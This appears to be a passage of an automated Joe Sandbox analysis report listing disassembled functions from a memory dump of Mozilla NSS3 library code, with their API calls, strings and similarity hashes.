Instruction ID: 20bde9fd5e0dcdc8298f04f2c6c49c3d30e4ce966afab2e16946ee01448d1548
Opcode Fuzzy Hash: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction Fuzzy Hash: 3F118775614700AFDB319E39FC02BC7B7A5DB41318F404834E65A87E21EA36E92DD742

Function 6CF92C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CF92CA0
PR_ExitMonitor.NSS3 ref: 6CF92CBE
calloc.MOZGLUE(00000001,00000014), ref: 6CF92CD1
strdup.MOZGLUE(?), ref: 6CF92CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6CF92D27

Strings

Loaded library %s (static lib), xrefs: 6CF92D22

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: f3161c6a5462aa744f56fd3318f794b6309da7a9a2cb23e909d3ecf2dd530a50
Instruction ID: ccf442ef570a994c9ec7fbec1783b3f6fe23d2998e4db21ee8e72a4c39524a9d
Opcode Fuzzy Hash: f3161c6a5462aa744f56fd3318f794b6309da7a9a2cb23e909d3ecf2dd530a50
Instruction Fuzzy Hash: 201193B5B11210AFEF948F25D84476677B4AB4931DF14852DD909C7B52D732E808CBA1

Function 6CE8BDC0 Relevance: 10.6, APIs: 7, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CE8BDCA

Part of subcall function 6CEE0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE887ED,00000800,6CE7EF74,00000000), ref: 6CEE1000
Part of subcall function 6CEE0FF0: PR_NewLock.NSS3(?,00000800,6CE7EF74,00000000), ref: 6CEE1016
Part of subcall function 6CEE0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE887ED,00000008,?,00000800,6CE7EF74,00000000), ref: 6CEE102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CE8BDDB

Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE10F3
Part of subcall function 6CEE10C0: EnterCriticalSection.KERNEL32(?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE110C
Part of subcall function 6CEE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1141
Part of subcall function 6CEE10C0: PR_Unlock.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1182
Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CE8BDEC

Part of subcall function 6CEE10C0: PL_ArenaAllocate.NSS3(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE116E

SECITEM_CopyItem_Util.NSS3(00000000,00000000,?), ref: 6CE8BE03

Part of subcall function 6CEDFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CED8D2D,?,00000000,?), ref: 6CEDFB85
Part of subcall function 6CEDFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CEDFBB1

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE8BE22
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE8BE30
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE8BE3B

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_ErrorValue$CopyCriticalEnterFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1821307800-0
Opcode ID: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction ID: 31e19959a8153929f234044a9f2ef78496810472dfa2a598325ad967d43eac9e
Opcode Fuzzy Hash: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction Fuzzy Hash: E001DB65E426156BF71013A66C01F5B76684F5528DF340034FE089EBC2FB55E51982F6

Function 6CEE0FF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE887ED,00000800,6CE7EF74,00000000), ref: 6CEE1000
PR_NewLock.NSS3(?,00000800,6CE7EF74,00000000), ref: 6CEE1016

Part of subcall function 6CF498D0: calloc.MOZGLUE(00000001,00000084,6CE70936,00000001,?,6CE7102C), ref: 6CF498E5

PL_InitArenaPool.NSS3(00000000,security,6CE887ED,00000008,?,00000800,6CE7EF74,00000000), ref: 6CEE102B
TlsGetValue.KERNEL32(00000000,?,?,6CE887ED,00000800,6CE7EF74,00000000), ref: 6CEE1044
free.MOZGLUE(00000000,?,00000800,6CE7EF74,00000000), ref: 6CEE1064

Strings

security, xrefs: 6CEE1025

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: calloc$ArenaInitLockPoolValuefree
String ID: security
API String ID: 3379159031-3315324353
Opcode ID: dff04a51e38830784765045bf4175f8cb6a87c4f17c79c26f54bfd7806b69781
Instruction ID: 9108a9690b524b533234595d01b8e9806517a15dc8265cdf964b92c4d4c393f4
Opcode Fuzzy Hash: dff04a51e38830784765045bf4175f8cb6a87c4f17c79c26f54bfd7806b69781
Instruction Fuzzy Hash: B1014870A102505BEBA02F7D9C047463B78BF0B7C9F21011AE908D6A63EB71D184DBE1

Function 6CF11C60 Relevance: 10.5, APIs: 7, Instructions: 49COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6CF11C74

Part of subcall function 6CF2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF2C2BF

DeleteCriticalSection.KERNEL32(?), ref: 6CF11C92
free.MOZGLUE(?), ref: 6CF11C99
DeleteCriticalSection.KERNEL32(?), ref: 6CF11CCB
free.MOZGLUE(?), ref: 6CF11CD2

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree$ErrorValue
String ID:
API String ID: 3805613680-0
Opcode ID: a2a4e16a3f380360e73c84e835c441477aaed115d9bf1230aff24e1791aa1a93
Instruction ID: d5abdc1fa573643b3185bd3144783709c8eb052310878992e3eaf0172a2cc1b8
Opcode Fuzzy Hash: a2a4e16a3f380360e73c84e835c441477aaed115d9bf1230aff24e1791aa1a93
Instruction Fuzzy Hash: 8101D6B1F256626FEFE4AFF49C0D78A37746B1E708F000124E509A6A40FB26E1048791

Function 6CF22E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6CF23046

Part of subcall function 6CF0EE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6CF0EE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6CEF7FFB), ref: 6CF2312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CF23154
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CF22E8B

Part of subcall function 6CF2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF2C2BF

Part of subcall function 6CF0F110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6CEF9BFF,?,00000000,00000000), ref: 6CF0F134

memcpy.VCRUNTIME140(8B3C75C0,?,6CEF7FFA), ref: 6CF22EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CF2317B

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: 8e9fffdd6ffdb0cd19dfd09f80a5e00aab9afecc7b39c7654335b36592b5332f
Instruction ID: abf6903dbf83304466caf120fabd3c0b69992a4ea5b53d68f9e70bf1ca9089e9
Opcode Fuzzy Hash: 8e9fffdd6ffdb0cd19dfd09f80a5e00aab9afecc7b39c7654335b36592b5332f
Instruction Fuzzy Hash: 48A1BF71A002189FDB24CF54CC80BEAB7B5EF49318F148199ED496B741E735AE85CFA2

Function 6CEEED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6CEEED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6CEEEDCE

Part of subcall function 6CEE0BE0: malloc.MOZGLUE(6CED8D2D,?,00000000,?), ref: 6CEE0BF8
Part of subcall function 6CEE0BE0: TlsGetValue.KERNEL32(6CED8D2D,?,00000000,?), ref: 6CEE0C15

free.MOZGLUE(00000000,?,?,?,?,6CEEB04F), ref: 6CEEEE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CEEEECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CEEEEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6CEEEEFB

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: 67fa3f53f30c260c1eb4c984cffb910650c03f07d287e913d884bd2969a2e96c
Instruction ID: 0c4c318b629c1f00d30598342f2b62c19cd6a9d30e7c8dceff0cf79c7c03ae0c
Opcode Fuzzy Hash: 67fa3f53f30c260c1eb4c984cffb910650c03f07d287e913d884bd2969a2e96c
Instruction Fuzzy Hash: A9818CB1A006059FEB14CF55D881BAB7BF5AF8C388F24442CE8159B761DB30E905CBE1

Function 6CEECCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CEEC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CEEDAE2,?), ref: 6CEEC6C2

PR_Now.NSS3 ref: 6CEECD35

Part of subcall function 6CF49DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CF90A27), ref: 6CF49DC6
Part of subcall function 6CF49DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CF90A27), ref: 6CF49DD1
Part of subcall function 6CF49DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CF49DED

Part of subcall function 6CED6C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CE81C6F,00000000,00000004,?,?), ref: 6CED6C3F

PR_GetCurrentThread.NSS3 ref: 6CEECD54

Part of subcall function 6CF49BF0: TlsGetValue.KERNEL32(?,?,?,6CF90A75), ref: 6CF49C07

Part of subcall function 6CED7260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CE81CCC,00000000,00000000,?,?), ref: 6CED729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CEECD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6CEECE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6CEECE2C

Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE10F3
Part of subcall function 6CEE10C0: EnterCriticalSection.KERNEL32(?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE110C
Part of subcall function 6CEE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1141
Part of subcall function 6CEE10C0: PR_Unlock.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1182
Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6CEECE40

Part of subcall function 6CEE14C0: TlsGetValue.KERNEL32 ref: 6CEE14E0
Part of subcall function 6CEE14C0: EnterCriticalSection.KERNEL32 ref: 6CEE14F5
Part of subcall function 6CEE14C0: PR_Unlock.NSS3 ref: 6CEE150D

Part of subcall function 6CEECEE0: PORT_ArenaMark_Util.NSS3(?,6CEECD93,?), ref: 6CEECEEE
Part of subcall function 6CEECEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6CEECD93,?), ref: 6CEECEFC
Part of subcall function 6CEECEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6CEECD93,?), ref: 6CEECF0B
Part of subcall function 6CEECEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6CEECD93,?), ref: 6CEECF1D

Part of subcall function 6CEECEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6CEECD93,?), ref: 6CEECF47
Part of subcall function 6CEECEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6CEECD93,?), ref: 6CEECF67
Part of subcall function 6CEECEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6CEECD93,?,?,?,?,?,?,?,?,?,?,?,6CEECD93,?), ref: 6CEECF78

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: 1c6f972786c19b1d0ce2537304e606e3759da55de905e3dce98dfbeaa2643449
Instruction ID: eaa424da563b50d08d8ff430165d080dab8ef17d19f5b364cbc023a78aaf79a1
Opcode Fuzzy Hash: 1c6f972786c19b1d0ce2537304e606e3759da55de905e3dce98dfbeaa2643449
Instruction Fuzzy Hash: 7B51A0B6B002009BEB10DF69DC40BAA7BF4AF4C388F350528D95597751EB31ED05CB91

Function 6CEFFFD0 Relevance: 9.1, APIs: 6, Instructions: 132COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFD076,00000000), ref: 6CEFFFE5

Part of subcall function 6CF2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF2C2BF

PR_EnterMonitor.NSS3(?), ref: 6CF00004
PR_EnterMonitor.NSS3(?), ref: 6CF0001B

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: EnterMonitor$ErrorValue
String ID:
API String ID: 3413098822-0
Opcode ID: 0322b5e14e0ff0063f4a9b3a75993a77b5f4e1614778fb9f22f45124eb2fd02e
Instruction ID: e10fb62cb6cd51079ba4da20d043ce2026ad501ea685c27c148baf30b8803e01
Opcode Fuzzy Hash: 0322b5e14e0ff0063f4a9b3a75993a77b5f4e1614778fb9f22f45124eb2fd02e
Instruction Fuzzy Hash: 4F4165727446809BE7308E28DC717AB73A1DB01B08F11053DE45BCAE92E7F9E649E742

Function 6CEBEEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6CEBEF38

Part of subcall function 6CEA9520: PK11_IsLoggedIn.NSS3(00000000,?,6CED379E,?,00000001,?), ref: 6CEA9542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6CEBEF53

Part of subcall function 6CEC4C20: TlsGetValue.KERNEL32 ref: 6CEC4C4C
Part of subcall function 6CEC4C20: EnterCriticalSection.KERNEL32(?), ref: 6CEC4C60
Part of subcall function 6CEC4C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CEC4CA1
Part of subcall function 6CEC4C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6CEC4CBE
Part of subcall function 6CEC4C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6CEC4CD2
Part of subcall function 6CEC4C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEC4D3A

PR_GetCurrentThread.NSS3 ref: 6CEBEF9E

Part of subcall function 6CF49BF0: TlsGetValue.KERNEL32(?,?,?,6CF90A75), ref: 6CF49C07

free.MOZGLUE(00000000), ref: 6CEBEFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CEBF016
free.MOZGLUE(00000000), ref: 6CEBF022

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: 4a8d8573871fd7096722aadaa893768a017c37bb4b33bc6e294b69b723ae683b
Instruction ID: feb9b9a5ead5933884b32b5392931d28398af7c7dc195d5964424ed9e29f8cd6
Opcode Fuzzy Hash: 4a8d8573871fd7096722aadaa893768a017c37bb4b33bc6e294b69b723ae683b
Instruction Fuzzy Hash: 1941D275E00209AFDF018FA8DD85BEE7BB9AF48348F104029F914B7350EB76C9158BA1

Function 6CEACF40 Relevance: 9.1, APIs: 6, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000060), ref: 6CEACF80
SECITEM_DupItem_Util.NSS3(?), ref: 6CEAD002
PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,00000000), ref: 6CEAD016
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEAD025
PR_NewLock.NSS3 ref: 6CEAD043
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CEAD074

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: ErrorUtil$Alloc_ContextDestroyItem_K11_Lock
String ID:
API String ID: 3361105336-0
Opcode ID: d6f80438a5734b892acff20c6121b35a11edad89567b17b9f1a3219592fd6777
Instruction ID: 4f623a4d9ec9d3abaadfa3a7714446530244852b9771435c0ddc9b2d1737b46d
Opcode Fuzzy Hash: d6f80438a5734b892acff20c6121b35a11edad89567b17b9f1a3219592fd6777
Instruction Fuzzy Hash: A241BFB8A012018FEB10DFAAC8C478A7BF5EF08318F21416ADC198F746D775D986CB91

Function 6CEF3FD0 Relevance: 9.1, APIs: 6, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CEF3FF2

Part of subcall function 6CEE14C0: TlsGetValue.KERNEL32 ref: 6CEE14E0
Part of subcall function 6CEE14C0: EnterCriticalSection.KERNEL32 ref: 6CEE14F5
Part of subcall function 6CEE14C0: PR_Unlock.NSS3 ref: 6CEE150D

PORT_ArenaMark_Util.NSS3(?), ref: 6CEF4001
PORT_ArenaAlloc_Util.NSS3(?,00000074), ref: 6CEF400F

Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE10F3
Part of subcall function 6CEE10C0: EnterCriticalSection.KERNEL32(?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE110C
Part of subcall function 6CEE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1141
Part of subcall function 6CEE10C0: PR_Unlock.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1182
Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE119C

CERT_CertChainFromCert.NSS3(?,00000004,00000000), ref: 6CEF4054

Part of subcall function 6CE8BB90: PORT_NewArena_Util.NSS3(00001000), ref: 6CE8BC24
Part of subcall function 6CE8BB90: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CE8BC39
Part of subcall function 6CE8BB90: PORT_ArenaAlloc_Util.NSS3(00000000), ref: 6CE8BC58
Part of subcall function 6CE8BB90: SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6CE8BCBE

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEF4070
NSS_CMSSignedData_Destroy.NSS3(00000000), ref: 6CEF40CD

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$CertCriticalEnterMark_SectionUnlock$AllocateArena_ChainCopyData_DestroyErrorFromItem_Signed
String ID:
API String ID: 3882640887-0
Opcode ID: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction ID: 36c9a70eb11e58ed240f65f51f80d98dac7626828e0625caa2bd226189c3e9cd
